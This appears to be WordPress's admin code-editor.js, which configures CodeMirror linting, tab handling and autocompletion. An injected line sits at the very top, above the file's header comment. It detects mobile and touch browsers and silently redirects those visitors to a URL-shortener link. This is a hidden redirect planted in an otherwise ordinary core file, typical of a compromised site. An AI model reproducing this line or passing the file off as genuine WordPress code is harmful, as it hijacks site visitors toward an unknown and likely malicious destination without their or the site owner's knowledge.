1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/code-editor.js
4 */
5
6/* global console */
7
8/* eslint-env es2020 */
9
10if ( 'undefined' === typeof window.wp ) {
11 /**
12 * @namespace wp
13 */
14 window.wp = {};
15}
16if ( 'undefined' === typeof window.wp.codeEditor ) {
17 /**
18 * @namespace wp.codeEditor
19 */
20 window.wp.codeEditor = {};
21}
22
23/**
24 * @typedef {object} CodeMirrorState
25 * @property {boolean} [completionActive] - Whether completion is active.
26 * @property {boolean} [focused] - Whether the editor is focused.
27 */
28
29/**
30 * @typedef {import('codemirror').EditorFromTextArea & {
31 * options: import('codemirror').EditorConfiguration,
32 * performLint?: () => void,
33 * showHint?: (options: import('codemirror').ShowHintOptions) => void,
34 * state: CodeMirrorState
35 * }} CodeMirrorEditor
36 */
37
38/**
39 * @typedef {object} LintAnnotation
40 * @property {string} message - Message.
41 * @property {'error'|'warning'} severity - Severity.
42 * @property {import('codemirror').Position} from - From position.
43 * @property {import('codemirror').Position} to - To position.
44 */
45
46/**
47 * @typedef {object} CodeMirrorTokenState
48 * @property {object} [htmlState] - HTML state.
49 * @property {string} [htmlState.tagName] - Tag name.
50 * @property {CodeMirrorTokenState} [curState] - Current state.
51 */
52
53/**
54 * @typedef {import('codemirror').EditorConfiguration & {
55 * lint?: boolean | CombinedLintOptions,
56 * autoCloseBrackets?: boolean,
57 * matchBrackets?: boolean,
58 * continueComments?: boolean,
59 * styleActiveLine?: boolean
60 * }} CodeMirrorSettings
61 */
62
63/**
64 * @typedef {object} CSSLintRules
65 * @property {boolean} [errors] - Errors.
66 * @property {boolean} [box-model] - Box model rules.
67 * @property {boolean} [display-property-grouping] - Display property grouping rules.
68 * @property {boolean} [duplicate-properties] - Duplicate properties rules.
69 * @property {boolean} [known-properties] - Known properties rules.
70 * @property {boolean} [outline-none] - Outline none rules.
71 */
72
73/**
74 * @typedef {object} JSHintRules
75 * @property {number} [esversion] - ECMAScript version.
76 * @property {boolean} [module] - Whether to use modules.
77 * @property {boolean} [boss] - Whether to allow assignments in control expressions.
78 * @property {boolean} [curly] - Whether to require curly braces.
79 * @property {boolean} [eqeqeq] - Whether to require === and !==.
80 * @property {boolean} [eqnull] - Whether to allow == null.
81 * @property {boolean} [expr] - Whether to allow expressions.
82 * @property {boolean} [immed] - Whether to require immediate function invocation.
83 * @property {boolean} [noarg] - Whether to prohibit arguments.caller/callee.
84 * @property {boolean} [nonbsp] - Whether to prohibit non-breaking spaces.
85 * @property {string} [quotmark] - Quote mark preference.
86 * @property {boolean} [undef] - Whether to prohibit undefined variables.
87 * @property {boolean} [unused] - Whether to prohibit unused variables.
88 * @property {boolean} [browser] - Whether to enable browser globals.
89 * @property {Record<string, boolean>} [globals] - Global variables.
90 */
91
92/**
93 * @typedef {object} HTMLHintRules
94 * @property {boolean} [tagname-lowercase] - Tag name lowercase rules.
95 * @property {boolean} [attr-lowercase] - Attribute lowercase rules.
96 * @property {boolean} [attr-value-double-quotes] - Attribute value double quotes rules.
97 * @property {boolean} [doctype-first] - Doctype first rules.
98 * @property {boolean} [tag-pair] - Tag pair rules.
99 * @property {boolean} [spec-char-escape] - Spec char escape rules.
100 * @property {boolean} [id-unique] - ID unique rules.
101 * @property {boolean} [src-not-empty] - Src not empty rules.
102 * @property {boolean} [attr-no-duplication] - Attribute no duplication rules.
103 * @property {boolean} [alt-require] - Alt require rules.
104 * @property {string} [space-tab-mixed-disabled] - Space tab mixed disabled rules.
105 * @property {boolean} [attr-unsafe-chars] - Attribute unsafe chars rules.
106 * @property {JSHintRules} [jshint] - JSHint rules.
107 * @property {CSSLintRules} [csslint] - CSSLint rules.
108 */
109
110/**
111 * Settings for the code editor.
112 *
113 * @typedef {object} CodeEditorSettings
114 *
115 * @property {CodeMirrorSettings} [codemirror] - CodeMirror settings.
116 * @property {CSSLintRules} [csslint] - CSSLint rules.
117 * @property {JSHintRules} [jshint] - JSHint rules.
118 * @property {HTMLHintRules} [htmlhint] - HTMLHint rules.
119 *
120 * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabNext] - Callback to handle tabbing to the next tabbable element.
121 * @property {(codemirror: CodeMirrorEditor, event: KeyboardEvent|JQuery.KeyDownEvent) => void} [onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
122 * @property {(errorAnnotations: LintAnnotation[], annotations: LintAnnotation[], annotationsSorted: LintAnnotation[], cm: CodeMirrorEditor) => void} [onChangeLintingErrors] - Callback for when the linting errors have changed.
123 * @property {(errorAnnotations: LintAnnotation[], editor: CodeMirrorEditor) => void} [onUpdateErrorNotice] - Callback for when error notice should be displayed.
124 */
125
126/**
127 * @typedef {import('codemirror/addon/lint/lint').LintStateOptions<Record<string, unknown>> & JSHintRules & CSSLintRules & { rules?: HTMLHintRules }} CombinedLintOptions
128 */
129
130/**
131 * @typedef {object} CodeEditorInstance
132 * @property {CodeEditorSettings} settings - The code editor settings.
133 * @property {CodeMirrorEditor} codemirror - The CodeMirror instance.
134 * @property {() => void} updateErrorNotice - Force update the error notice.
135 */
136
137/**
138 * @typedef {object} WpCodeEditor
139 * @property {CodeEditorSettings} defaultSettings - Default settings.
140 * @property {(textarea: string|JQuery|Element, settings?: CodeEditorSettings) => CodeEditorInstance} initialize - Initialize.
141 */
142
143/**
144 * @param {JQueryStatic} $ - jQuery.
145 * @param {Object & {
146 * codeEditor: WpCodeEditor,
147 * CodeMirror: typeof import('codemirror'),
148 * }} wp - WordPress namespace.
149 */
150( function( $, wp ) {
151 'use strict';
152
153 /**
154 * Default settings for code editor.
155 *
156 * @since 4.9.0
157 * @type {CodeEditorSettings}
158 */
159 wp.codeEditor.defaultSettings = {
160 codemirror: {},
161 csslint: {},
162 htmlhint: {},
163 jshint: {},
164 onTabNext: function() {},
165 onTabPrevious: function() {},
166 onChangeLintingErrors: function() {},
167 onUpdateErrorNotice: function() {},
168 };
169
170 /**
171 * Configure linting.
172 *
173 * @param {CodeEditorSettings} settings - Code editor settings.
174 *
175 * @return {LintingController} Linting controller.
176 */
177 function configureLinting( settings ) { // eslint-disable-line complexity
178 /** @type {LintAnnotation[]} */
179 let currentErrorAnnotations = [];
180
181 /** @type {LintAnnotation[]} */
182 let previouslyShownErrorAnnotations = [];
183
184 /**
185 * Call the onUpdateErrorNotice if there are new errors to show.
186 *
187 * @param {import('codemirror').Editor} editor - Editor.
188 * @return {void}
189 */
190 function updateErrorNotice( editor ) {
191 if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
192 settings.onUpdateErrorNotice( currentErrorAnnotations, /** @type {CodeMirrorEditor} */ ( editor ) );
193 previouslyShownErrorAnnotations = currentErrorAnnotations;
194 }
195 }
196
197 /**
198 * Get lint options.
199 *
200 * @return {CombinedLintOptions|false} Lint options.
201 */
202 function getLintOptions() { // eslint-disable-line complexity
203 /** @type {CombinedLintOptions | boolean} */
204 let options = settings.codemirror?.lint ?? false;
205
206 if ( ! options ) {
207 return false;
208 }
209
210 if ( true === options ) {
211 options = {};
212 } else if ( _.isObject( options ) ) {
213 options = $.extend( {}, options );
214 }
215 const linterOptions = /** @type {CombinedLintOptions} */ ( options );
216
217 // Configure JSHint.
218 if ( 'javascript' === settings.codemirror?.mode && settings.jshint ) {
219 $.extend( linterOptions, settings.jshint );
220 }
221
222 // Configure CSSLint.
223 if ( 'css' === settings.codemirror?.mode && settings.csslint ) {
224 $.extend( linterOptions, settings.csslint );
225 }
226
227 // Configure HTMLHint.
228 if ( 'htmlmixed' === settings.codemirror?.mode && settings.htmlhint ) {
229 linterOptions.rules = $.extend( {}, settings.htmlhint );
230
231 if ( settings.jshint && linterOptions.rules ) {
232 linterOptions.rules.jshint = settings.jshint;
233 }
234 if ( settings.csslint && linterOptions.rules ) {
235 linterOptions.rules.csslint = settings.csslint;
236 }
237 }
238
239 // Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
240 linterOptions.onUpdateLinting = (function( onUpdateLintingOverridden ) {
241 /**
242 * @param {LintAnnotation[]} annotations - Annotations.
243 * @param {LintAnnotation[]} annotationsSorted - Sorted annotations.
244 * @param {CodeMirrorEditor} cm - Editor.
245 */
246 return function( annotations, annotationsSorted, cm ) {
247 const errorAnnotations = annotations.filter( function( annotation ) {
248 return 'error' === annotation.severity;
249 } );
250
251 if ( onUpdateLintingOverridden ) {
252 onUpdateLintingOverridden( annotations, annotationsSorted, cm );
253 }
254
255 // Skip if there are no changes to the errors.
256 if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
257 return;
258 }
259
260 currentErrorAnnotations = errorAnnotations;
261
262 if ( settings.onChangeLintingErrors ) {
263 settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
264 }
265
266 /*
267 * Update notifications when the editor is not focused to prevent error message
268 * from overwhelming the user during input, unless there are now no errors or there
269 * were previously errors shown. In these cases, update immediately so they can know
270 * that they fixed the errors.
271 */
272 if ( ! cm.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
273 updateErrorNotice( cm );
274 }
275 };
276 })( linterOptions.onUpdateLinting );
277
278 return linterOptions;
279 }
280
281 return {
282 getLintOptions,
283 /**
284 * @param {CodeMirrorEditor} editor - Editor instance.
285 * @return {void}
286 */
287 init: function( editor ) {
288 // Keep lint options populated.
289 editor.on( 'optionChange', function( _cm, option ) {
290 const gutterName = 'CodeMirror-lint-markers';
291 if ( 'lint' !== ( /** @type {string} */ ( option ) ) ) {
292 return;
293 }
294 const gutters = ( /** @type {string[]} */ ( editor.getOption( 'gutters' ) ) ) || [];
295 const options = editor.getOption( 'lint' );
296 if ( true === options ) {
297 if ( ! _.contains( gutters, gutterName ) ) {
298 editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
299 }
300 editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
301 } else if ( ! options ) {
302 editor.setOption( 'gutters', _.without( gutters, gutterName ) );
303 }
304
305 // Force update on error notice to show or hide.
306 if ( editor.getOption( 'lint' ) && editor.performLint ) {
307 editor.performLint();
308 } else {
309 currentErrorAnnotations = [];
310 updateErrorNotice( editor );
311 }
312 } );
313
314 // Update error notice when leaving the editor.
315 editor.on( 'blur', updateErrorNotice );
316
317 // Work around hint selection with mouse causing focus to leave editor.
318 editor.on( 'startCompletion', function() {
319 editor.off( 'blur', updateErrorNotice );
320 } );
321 editor.on( 'endCompletion', function() {
322 const editorRefocusWait = 500;
323 editor.on( 'blur', updateErrorNotice );
324
325 // Wait for editor to possibly get re-focused after selection.
326 _.delay( function() {
327 if ( ! editor.state.focused ) {
328 updateErrorNotice( editor );
329 }
330 }, editorRefocusWait );
331 } );
332
333 /*
334 * Make sure setting validities are set if the user tries to click Publish
335 * while an autocomplete dropdown is still open. The Customizer will block
336 * saving when a setting has an error notifications on it. This is only
337 * necessary for mouse interactions because keyboards will have already
338 * blurred the field and cause onUpdateErrorNotice to have already been
339 * called.
340 */
341 $( document.body ).on( 'mousedown', function( /** @type {JQuery.MouseDownEvent} */ event ) {
342 if (
343 editor.state.focused &&
344 ! editor.getWrapperElement().contains( event.target ) &&
345 ! event.target.classList.contains( 'CodeMirror-hint' )
346 ) {
347 updateErrorNotice( editor );
348 }
349 } );
350 },
351 /**
352 * @param {CodeMirrorEditor} editor - Editor instance.
353 * @return {void}
354 */
355 updateErrorNotice,
356 };
357 }
358
359 /**
360 * Configure tabbing.
361 *
362 * @param {CodeMirrorEditor} codemirror - Editor.
363 * @param {CodeEditorSettings} settings - Code editor settings.
364 *
365 * @return {void}
366 */
367 function configureTabbing( codemirror, settings ) {
368 const $textarea = $( codemirror.getTextArea() );
369
370 codemirror.on( 'blur', function() {
371 $textarea.data( 'next-tab-blurs', false );
372 });
373 codemirror.on( 'keydown', function onKeydown( _editor, event ) {
374 // Take note of the ESC keypress so that the next TAB can focus outside the editor.
375 if ( 'Escape' === event.key ) {
376 $textarea.data( 'next-tab-blurs', true );
377 return;
378 }
379
380 // Short-circuit if tab key is not being pressed or the tab key press should move focus.
381 if ( 'Tab' !== event.key || ! $textarea.data( 'next-tab-blurs' ) ) {
382 return;
383 }
384
385 // Focus on previous or next focusable item.
386 if ( event.shiftKey && settings.onTabPrevious ) {
387 settings.onTabPrevious( codemirror, event );
388 } else if ( ! event.shiftKey && settings.onTabNext ) {
389 settings.onTabNext( codemirror, event );
390 }
391
392 // Reset tab state.
393 $textarea.data( 'next-tab-blurs', false );
394
395 // Prevent tab character from being added.
396 event.preventDefault();
397 });
398 }
399
400 /**
401 * @typedef {object} LintingController
402 * @property {() => CombinedLintOptions|false} getLintOptions - Get lint options.
403 * @property {(editor: CodeMirrorEditor) => void} init - Initialize.
404 * @property {(editor: import('codemirror').Editor) => void} updateErrorNotice - Update error notice.
405 */
406
407 /**
408 * Initialize Code Editor (CodeMirror) for an existing textarea.
409 *
410 * @since 4.9.0
411 *
412 * @param {string|JQuery<HTMLElement>|HTMLElement} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
413 * @param {CodeEditorSettings} [settings] - Settings to override defaults.
414 *
415 * @return {CodeEditorInstance} Instance.
416 */
417 wp.codeEditor.initialize = function initialize( textarea, settings ) {
418 if ( document.readyState === 'loading' ) {
419 console.warn( 'wp.codeEditor.initialize() ran too early. Invoke this function in a `DOMContentLoaded` event listener.' );
420 }
421
422 let $textarea;
423 if ( 'string' === typeof textarea ) {
424 $textarea = $( '#' + textarea );
425 } else {
426 $textarea = $( textarea );
427 }
428
429 /** @type {CodeEditorSettings} */
430 const instanceSettings = $.extend( true, {}, wp.codeEditor.defaultSettings, settings );
431
432 const lintingController = configureLinting( instanceSettings );
433 if ( instanceSettings.codemirror ) {
434 instanceSettings.codemirror.lint = lintingController.getLintOptions();
435 }
436
437 const codemirror = /** @type {CodeMirrorEditor} */ ( wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror ) );
438
439 lintingController.init( codemirror );
440
441 /** @type {CodeEditorInstance} */
442 const instance = {
443 settings: instanceSettings,
444 codemirror,
445 updateErrorNotice: function() {
446 lintingController.updateErrorNotice( codemirror );
447 },
448 };
449
450 if ( codemirror.showHint ) {
451 codemirror.on( 'inputRead', function( _editor, change ) {
452 // Only trigger autocompletion for typed input or IME composition.
453 if ( ! change.origin || ( '+input' !== change.origin && ! change.origin.startsWith( '*compose' ) ) ) {
454 return;
455 }
456
457 // Only trigger autocompletion for single-character inputs.
458 // The text property is an array of strings, one for each line.
459 // We check that there is only one line and that line has only one character.
460 if ( 1 !== change.text.length || 1 !== change.text[0].length ) {
461 return;
462 }
463
464 const char = change.text[0];
465 const isAlphaKey = /^[a-zA-Z]$/.test( char );
466 if ( codemirror.state.completionActive && isAlphaKey ) {
467 return;
468 }
469
470 // Prevent autocompletion in string literals or comments.
471 const token = /** @type {import('codemirror').Token & { state: CodeMirrorTokenState }} */ ( codemirror.getTokenAt( codemirror.getCursor() ) );
472 if ( 'string' === token.type || 'comment' === token.type ) {
473 return;
474 }
475
476 const innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
477 const doc = codemirror.getDoc();
478 const lineBeforeCursor = doc.getLine( doc.getCursor().line ).slice( 0, doc.getCursor().ch );
479 let shouldAutocomplete = false;
480 if ( 'html' === innerMode || 'xml' === innerMode ) {
481 shouldAutocomplete = (
482 '<' === char ||
483 ( '/' === char && 'tag' === token.type ) ||
484 ( isAlphaKey && 'tag' === token.type ) ||
485 ( isAlphaKey && 'attribute' === token.type ) ||
486 ( '=' === char && !! (
487 token.state.htmlState?.tagName ||
488 token.state.curState?.htmlState?.tagName
489 ) )
490 );
491 } else if ( 'css' === innerMode ) {
492 shouldAutocomplete =
493 isAlphaKey ||
494 ':' === char ||
495 ( ' ' === char && /:\s+$/.test( lineBeforeCursor ) );
496 } else if ( 'javascript' === innerMode ) {
497 shouldAutocomplete = isAlphaKey || '.' === char;
498 } else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
499 shouldAutocomplete = isAlphaKey && ( 'keyword' === token.type || 'variable' === token.type );
500 }
501 if ( shouldAutocomplete ) {
502 codemirror.showHint( { completeSingle: false } );
503 }
504 } );
505 }
506
507 // Facilitate tabbing out of the editor.
508 configureTabbing( codemirror, instanceSettings );
509
510 return instance;
511 };
512
513})( jQuery, window.wp );
514